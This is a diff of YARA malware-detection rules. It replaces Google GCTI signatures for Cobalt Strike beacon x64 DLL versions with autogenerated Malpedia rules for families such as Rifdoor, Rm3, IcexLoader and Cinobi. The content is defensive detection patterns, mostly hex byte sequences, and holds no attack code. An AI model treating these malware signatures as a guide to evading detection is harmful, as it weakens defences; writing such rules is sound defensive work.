-		id = "fb96ecff-809e-5704-974e-a2d8ef022daa"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1070-L1109"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "7b00721efeff6ed94ab108477d57b03022692e288cc5814feb5e9d83e3788580"
-		logic_hash = "514d491b8066ed7127ebb152a27efbe65e1121da3b5460afe6987920a91f2863"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ca6414ba-2b9c-5f1f-bb06-5810c9d01c02"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.bashlite_auto.yar#L1-L113"
+		license_url = "N/A"
+		logic_hash = "38a010b68cee7bf4f221088e2245d1e5d0f927b085c409c35c3789c20373d434"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D3 48 8B CF E8 89 66 00 00 E9 23 FB FF FF
-                     41 B8 01 00 00 00 E9 F3 FD FF FF 48 8D 0D 2A F8 FF FF
-                     E8 8D 2B 00 00 48 8B 5C 24 30 48 83 C4 20 }
-		$decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }
+		$sequence_0 = { eb19 e8???????? c70016000000 e8???????? c70016000000 }
+		$sequence_1 = { 21d0 3345fc c9 c3 55 }
+		$sequence_2 = { 750c e8???????? 8b00 83f873 }
+		$sequence_3 = { 8b85ecefffff c9 c3 55 }
+		$sequence_4 = { 760f e8???????? c7001c000000 31c0 }
+		$sequence_5 = { 31c0 eb19 e8???????? c70016000000 }
+		$sequence_6 = { e8???????? 89c2 89d0 c1e81f 01d0 d1f8 }
+		$sequence_7 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 }
+		$sequence_8 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 8b85ecefffff }
+		$sequence_9 = { c785ecefffff01000000 eb0a c785ecefffff00000000 8b85ecefffff c9 c3 }
 
 	condition:
-		all of them
+		7 of them and filesize <2310144
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_4
+rule MALPEDIA_Win_Rifdoor_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.4"
-		author = "gssincla@google.com"
-		id = "97ef152c-86c7-513c-a881-e7d594d38dcf"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1111-L1148"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "5a4d48c2eda8cda79dc130f8306699c8203e026533ce5691bf90363473733bf0"
-		logic_hash = "65aa42265133038f6f568c021c0228440e84e236829af50796a73f6923f46395"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "10650b5d-c263-58c2-9892-48c8752426d4"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rifdoor_auto.yar#L1-L174"
+		license_url = "N/A"
+		logic_hash = "041eb6ebe0e6f7a680f9d10fa1b95fdf41bb567152330eaf4a0d973e56aa2474"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D3 48 8B CF E8 56 6F 00 00 E9 17 FB FF FF
-                     41 B8 01 00 00 00 8B D3 48 8B CF E8 41 4D 00 00
-                     48 8B 5C 24 30 48 83 C4 20 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { e8???????? 8be5 5d c20400 6804010000 8d54240c }
+		$sequence_1 = { 0f8484000000 391d???????? 747c 391d???????? 7474 391d???????? 746c }
+		$sequence_2 = { ba4f000000 8bc2 668944243c b952000000 66894c2438 668954243a }
+		$sequence_3 = { 83c408 85c0 7405 bf01000000 8d542410 52 ff15???????? }
+		$sequence_4 = { 830eff 2b34bd605d4100 c1fe06 8bc7 c1e005 }
+		$sequence_5 = { b001 5e 81c408010000 c3 5f 32c0 }
+		$sequence_6 = { 8d4c2454 51 8b4c2410 8d54242c e8???????? 83c408 85c0 }
+		$sequence_7 = { 83c408 a3???????? e9???????? 3c01 }
+		$sequence_8 = { 53 56 8b35???????? 57 3b35???????? 7d4a }
+		$sequence_9 = { 50 8b410c ffd0 8b95f0f7ffff }
+		$sequence_10 = { e8???????? 8b1d???????? 33c0 83c40c 33d2 }
+		$sequence_11 = { 68ff000000 8d9524faffff 52 ff15???????? }
+		$sequence_12 = { 75f9 8d8de8fbffff 2bc2 51 40 }
+		$sequence_13 = { c1ee08 0bd6 884101 03c2 8d1400 33d0 }
+		$sequence_14 = { ff15???????? 68???????? 6a00 6801001f00 ff15???????? 5f 5e }
+		$sequence_15 = { 8d8424a8010000 50 53 ff15???????? 85c0 7507 53 }
 
 	condition:
-		all of them
+		7 of them and filesize <212992
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_5_Hf1_And_V3_5_1
+rule MALPEDIA_Win_Threebyte_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.5-hf1 and 3.5.1"
-		author = "gssincla@google.com"
-		id = "0c0e87d3-e0e2-5ddc-9d89-5e56443da4b8"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1150-L1189"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "934134ab0ee65ec76ae98a9bb9ad0e9571d80f4bf1eb3491d58bacf06d42dc8d"
-		logic_hash = "5cd69554edb91956f4ec4c3c5e55f4cd9c3665656c318220ba3a270c0bb0a690"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ce3faee0-35b6-5807-9d64-6a9a343be0ab"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.threebyte_auto.yar#L1-L127"
+		license_url = "N/A"
+		logic_hash = "ea76c04ceecd329a1dbc8646fe87d0982e2f7a41db170c209ba00ee2ed2e0d90"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D3 48 8B CF E8 38 70 00 00 E9 FD FA FF FF
-                     41 B8 01 00 00 00 8B D3 48 8B CF E8 3F 4D 00 00
-                     48 8B 5C 24 30 48 83 C4 20 5F }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 85c0 0f8511010000 c68514ffffff5b c68515ffffff3e c68516ffffff3e c68517ffffff20 }
+		$sequence_1 = { 8a8415fcfeffff 88840dfcfeffff 8b8df0feffff 8a95f8feffff 88940dfcfeffff }
+		$sequence_2 = { 6a00 8d4dbc 51 6801000080 ff15???????? 85c0 7407 }
+		$sequence_3 = { e8???????? 83c404 83c8ff eb44 8b8d24f7ffff 038d14f7ffff 898d24f7ffff }
+		$sequence_4 = { 8b8d10f7ffff ff510c 8b9564f7ffff 52 8b8510f7ffff ff500c 8b4df4 }
+		$sequence_5 = { 8d8d68f3ffff e8???????? e9???????? c78568f2ffff00000000 c645fc00 8d4df0 e8???????? }
+		$sequence_6 = { 33c0 8dbddefcffff f3ab 66ab c78594faffff00010000 8d9594faffff 52 }
+		$sequence_7 = { 8b4d10 894df8 c745ec00000000 eb09 8b55ec }
+		$sequence_8 = { e8???????? 8985a8fbffff 668b15???????? 668995ecfbffff b9ff000000 }
+		$sequence_9 = { e8???????? 83c404 e9???????? c7459801010000 8b9564ffffff 8955a4 8b45ec }
 
 	condition:
-		all of them
+		7 of them and filesize <180224
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_6
+rule MALPEDIA_Win_Rm3_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.6"
-		author = "gssincla@google.com"
-		id = "9651a1ca-d8ea-5b0b-bcba-a850c2e07791"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1191-L1233"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "92b0a4aec6a493bcb1b72ce04dd477fd1af5effa0b88a9d8283f26266bb019a1"
-		logic_hash = "d6aff186a01386992f004cb775d280f9b6e7e16d7ecee662d61e3485b0bc088b"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "7719069f-32fe-5972-8438-aed4e36844e7"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rm3_auto.yar#L1-L378"
+		license_url = "N/A"
+		logic_hash = "108e288ac75d378107658478aa6294381528e48e962e4f140c133bb5541af046"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 27
-                     0F 87 47 03 00 00 0F 84 30 03 00 00 83 F9 14
-                     0F 87 A4 01 00 00 0F 84 7A 01 00 00 83 F9 0C
-                     0F 87 C8 00 00 00 0F 84 B3 00 00 00 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 8d7c13ff 4a f7d2 23fa 3bf8 7609 }
+		$sequence_1 = { 8b4138 8b5608 8d5410ff 48 f7d0 }
+		$sequence_2 = { 8b45f8 83c628 ff4dfc 85c0 }
+		$sequence_3 = { 8931 8b7004 897104 8b4808 ff7004 }
+		$sequence_4 = { 034c240c 8b00 51 03c2 50 e8???????? }
+		$sequence_5 = { 3bf8 7609 8b413c 8d5418ff eb0a }
+		$sequence_6 = { 8b460c 03c2 394508 7303 8975f8 8b45f8 }
+		$sequence_7 = { 8b5e10 8d4438ff 4f f7d7 23c7 8d7c13ff 4a }
+		$sequence_8 = { 41 ff4508 ff4d0c 885405fc }
+		$sequence_9 = { 57 8bc3 8d9568ffffff e8???????? 8b849d64ffffff }
+		$sequence_10 = { e8???????? 8b5508 57 8bc3 8d8d58feffff e8???????? }
+		$sequence_11 = { 8b750c 50 8db4b558feffff 894510 }
+		$sequence_12 = { 8bf0 2b7508 f7de 1bf6 83e60b }
+		$sequence_13 = { e8???????? 8bd8 85db 7420 8d45fc }
+		$sequence_14 = { e8???????? 2bf3 89750c 0f88b3000000 8d3c1e 8dbcbd58feffff }
+		$sequence_15 = { 744b 8975fc 6a18 5e }
+		$sequence_16 = { 33d2 4533c0 410fc9 48f7b42488000000 8b15???????? }
+		$sequence_17 = { 488bf3 488bce e8???????? 4885c0 488bd8 7415 }
+		$sequence_18 = { 4155 4156 4157 4883ec30 4c8b05???????? 49b91ddd6c4f91f44525 }
+		$sequence_19 = { 41be18000000 488b15???????? 488b4270 488bc8 48c1e90c 4833c1 488bc8 }
+		$sequence_20 = { 57 4154 4155 4156 4157 4883ec20 4c8b05???????? }
+		$sequence_21 = { 488bc1 48c1e81b 4833c1 33c9 480fafc3 }
+		$sequence_22 = { ff15???????? 85c0 7445 488d4c2468 ff15???????? ff15???????? }
+		$sequence_23 = { 488d4c2440 4c8bce 4c8bc5 498bd4 }
+		$sequence_24 = { 899568ffffff 89b564ffffff 889d63ffffff 7570 31c0 89855cffffff eb16 }
+		$sequence_25 = { 8d0d84308702 31d2 8b75f0 89462c 890c24 }
+		$sequence_26 = { 885801 39d7 897db8 8975b4 75d7 8d45d4 }
+		$sequence_27 = { a1???????? 6a00 6a00 6a00 6a00 68???????? ffd0 }
+		$sequence_28 = { ffd0 8d0dd1318702 890424 894c2404 e8???????? 83f800 }
+		$sequence_29 = { 52 8bb5e0fbffff 56 8985d0fbffff 8995ccfbffff 898dc8fbffff ffd7 }
+		$sequence_30 = { 8945d0 8b45d0 8b4dd4 8b55ec 01ca 891424 }
+		$sequence_31 = { 897dec 8955e8 8975e4 ffd3 83ec10 890424 }
+		$sequence_32 = { 53 57 56 83ec20 8b450c 8b4d08 31d2 }
+		$sequence_33 = { 890c24 c744240400000000 8955dc e8???????? 8d0d77318702 890424 }
+		$sequence_34 = { 8b7834 8b5f3c 8945f0 89f8 01d8 813c1f50450000 }
+		$sequence_35 = { 8bbd64fdffff 897e08 8b9d68fdffff 891e }
+		$sequence_36 = { c7460cfe308702 c74604???????? 8b35???????? 8985e0fdffff 898ddcfdffff 8995d8fdffff }
+		$sequence_37 = { 898dfcfeffff e8???????? 890424 8b853cffffff 89442404 }
+		$sequence_38 = { 89e2 894a04 c70204010000 8b15???????? 8985e8fdffff 898de4fdffff }
+		$sequence_39 = { 8b5924 89855cffffff 89d8 c1e81e 83e001 }
 
 	condition:
-		all of them
+		7 of them and filesize <221184
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_7
+rule MALPEDIA_Win_Icexloader_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.7"
-		author = "gssincla@google.com"
-		id = "27fad98a-2882-5c52-af6e-c7dcf5559624"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1235-L1274"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "81296a65a24c0f6f22208b0d29e7bb803569746ce562e2fa0d623183a8bcca60"
-		logic_hash = "89499e01acd607b2fbcdd134c74ca4a901c00c7c9cf70dd241cc538c1c0d083a"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "f5f07cf1-ebb8-58bc-85cf-c8730868788c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icexloader_auto.yar#L1-L133"
+		license_url = "N/A"
+		logic_hash = "3e81383223a4cc1ff73f88f3e7f296bd8191bce05edbae01407537facee45b04"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 28
-                     0F 87 7F 03 00 00 0F 84 67 03 00 00 83 F9 15
-                     0F 87 DB 01 00 00 0F 84 BF 01 00 00 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 750c 83caff 85c9 7405 8b01 8d50ff 8b4508 }
+		$sequence_1 = { 8985acfeffff 8b85c4feffff 8b10 894c2408 8b8db4feffff 890424 894c2404 }
+		$sequence_2 = { 8b4520 8910 c745e001000000 eb0a 90 eb07 90 }
+		$sequence_3 = { e8???????? ba04000000 0fb7c0 40 8985d0e6ffff 8b85e4e6ffff e8???????? }
+		$sequence_4 = { c705????????04000000 66c705????????1903 c605????????01 c705????????14000000 c705????????e0d74300 c705????????aa914200 }
+		$sequence_5 = { 55 ba7c000000 89e5 56 53 83ec30 894de4 }
+		$sequence_6 = { c705????????00d44300 c705????????95904200 c705????????18e44300 c605????????01 c705????????00000000 c705????????80d44300 c705????????9d904200 }
+		$sequence_7 = { 83bd14ffffff00 7405 e8???????? e8???????? 8b8d64feffff e8???????? e8???????? }
+		$sequence_8 = { 57 56 89d6 ba01000000 53 89cb 83ec2c }
+		$sequence_9 = { b8???????? e8???????? ba0c000000 8d45a4 e8???????? ba???????? b9???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <656384
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_8
+rule MALPEDIA_Win_Himan_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.8"
-		author = "gssincla@google.com"
-		id = "89809d81-9a8b-5cf3-a251-689bf52e98e0"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1276-L1310"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "547d44669dba97a32cb9e95cfb8d3cd278e00599e6a11080df1a9d09226f33ae"
-		logic_hash = "8845b71ce4401fd194eb88f04dbf1f313af8b4853da004e63261ca3158fcb1d4"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a882d092-072a-5641-b214-8642f7cc1e11"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.himan_auto.yar#L1-L127"
+		license_url = "N/A"
+		logic_hash = "bf239bbd05c563f996119e72de32999d711849487b106db1285219d82e77b92b"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D3 48 8B CF E8 7A 52 00 00 EB 0D 45 33 C0 8B D3 48 8B CF
-                     E8 8F 55 00 00 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 8b7b04 33ee 8b7068 0554010000 c1e204 33f7 }
+		$sequence_1 = { 8b442410 3bd0 7422 56 ff15???????? 57 ff15???????? }
+		$sequence_2 = { 894c2414 8bcb c1e910 81e1ff000000 }
+		$sequence_3 = { c1e008 0bc7 c1e008 0bc1 8bc8 8904b594886e00 }
+		$sequence_4 = { 8bda c1eb18 8b2cad948c6e00 332c9d94946e00 8bd9 c1eb10 81e3ff000000 }
+		$sequence_5 = { 8b08 50 ff5108 8b8c24a8050000 5f }
+		$sequence_6 = { 8d85a0fcffff 50 ff15???????? 8da594d4ffff 5f 5e 5b }
+		$sequence_7 = { c1e910 3334adbcc26e00 8beb 81e5ff000000 81e1ff000000 c1eb08 3334adbcba6e00 }
+		$sequence_8 = { 333c9594946e00 8b542414 c1ea10 81e2ff000000 333c9594906e00 8bd1 81e2ff000000 }
+		$sequence_9 = { c1c108 890cb5948c6e00 8a8ebccb6e00 8bd0 884c2410 8b7c2410 c1c210 }
 
 	condition:
-		all of them
+		7 of them and filesize <139264
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_11
+rule MALPEDIA_Win_Younglotus_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.11 (two subversions)"
-		author = "gssincla@google.com"
-		id = "bf0c7661-2583-5fca-beb5-abb2b50c860d"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1312-L1366"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "64007e104dddb6b5d5153399d850f1e1f1720d222bed19a26d0b1c500a675b1a"
-		logic_hash = "9c34b23b659463a0ab92949031a9b3246aa95256d1548b2f0ad53fe3d379997d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "020c6ff6-d6bb-58fb-b2fa-0c433bea2123"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.younglotus_auto.yar#L1-L165"
+		license_url = "N/A"
+		logic_hash = "b3707e8b206f95395dc2e356973108894d4afdfd30bcae58d7d87fd0cefdf956"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "815f313e0835e7fdf4a6d93f2774cf642012fd21ce870c48ff489555012e0047"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 83 EC 20 41 8B D8 48 8B FA 83 F9 2D 0F 87 B2 03 00 00
-                     0F 84 90 03 00 00 83 F9 17 0F 87 F8 01 00 00
-                     0F 84 DC 01 00 00 83 F9 0E 0F 87 F9 00 00 00
-                     0F 84 DD 00 00 00 FF C9 0F 84 C0 00 00 00 83 E9 02
-                     0F 84 A6 00 00 00 FF C9 }
-		$decoder = {
-      80 34 28 ??
-      48 FF C0
-      48 3D 00 10 00 00
-      7C F1
-    }
+		$sequence_0 = { 6802000080 e8???????? 83c41c 6a01 }
+		$sequence_1 = { e8???????? 2b450c 50 8b4dfc }
+		$sequence_2 = { 8b45e0 25ff000000 e9???????? c745e401000000 8b550c }
+		$sequence_3 = { 50 ff15???????? 8b4dfc 8981a4000000 68???????? }
+		$sequence_4 = { 50 8b4d0c 81e970010000 51 }
+		$sequence_5 = { 83bda4faffff00 751b 68???????? 8d85a8faffff 50 ff15???????? 83c408 }
+		$sequence_6 = { 6804010000 6a00 8d8da8faffff 51 6a01 6a00 }
+		$sequence_7 = { 83c40c 8b45fc 83c00f 8945f8 6a03 }
+		$sequence_8 = { 56 57 68???????? ff15???????? 8945dc 68???????? }
+		$sequence_9 = { 50 ffd3 85c0 8945fc 0f84b7000000 }
+		$sequence_10 = { 68???????? ffd6 ff7508 e8???????? 8bf8 59 85ff }
+		$sequence_11 = { ff7508 50 e8???????? 8d430f }
+		$sequence_12 = { 50 8945f4 ffd6 8d4df8 }
+		$sequence_13 = { 6a01 53 ff15???????? 8b4de8 6a03 }
+		$sequence_14 = { 8945e8 ffd6 68???????? 8945ec ffd7 68???????? }
+		$sequence_15 = { ffd0 50 ff55f0 85c0 746f 8b450c }
 
 	condition:
-		all of them
+		7 of them and filesize <106496
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_12
+rule MALPEDIA_Win_Cinobi_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.12"
-		author = "gssincla@google.com"
-		id = "6eeae9f4-96e0-5a98-a8dc-779c916cd968"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1368-L1404"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "8a28b7a7e32ace2c52c582d0076939d4f10f41f4e5fa82551e7cc8bdbcd77ebc"
-		logic_hash = "7457b20f2a7dc7e8c3317cedbcfccae30ecc8dc164188c0321f9485fdfab0f6e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "853d9242-221d-59c1-ad19-29eb6c5779a8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cinobi_auto.yar#L1-L162"
+		license_url = "N/A"
+		logic_hash = "57c1141de6150455825b72381295eb849d072a659e2915f93f96811cd61f7768"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B D3 48 8B CF E8 F8 2E 00 00 EB 16 8B D3 48 8B CF
-                     E8 00 5C 00 00 EB 0A 8B D3 48 8B CF E8 64 4F 00 00 }
-		$decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { c9 c3 55 8bec 51 e8???????? 58 }
+		$sequence_1 = { 8845df 8b45bc 8a400c 8845e0 }
+		$sequence_2 = { 0f8554010000 6a04 58 8b4df4 }
+		$sequence_3 = { 33c0 66898588faffff 8b85a8faffff 660fbe4008 66898584f5ffff 8b85a8faffff 660fbe4020 }
+		$sequence_4 = { e8???????? 59 59 84c0 751e 6810270000 }
+		$sequence_5 = { 8a4642 88842456010000 8a4647 88842457010000 8a4646 88842458010000 }
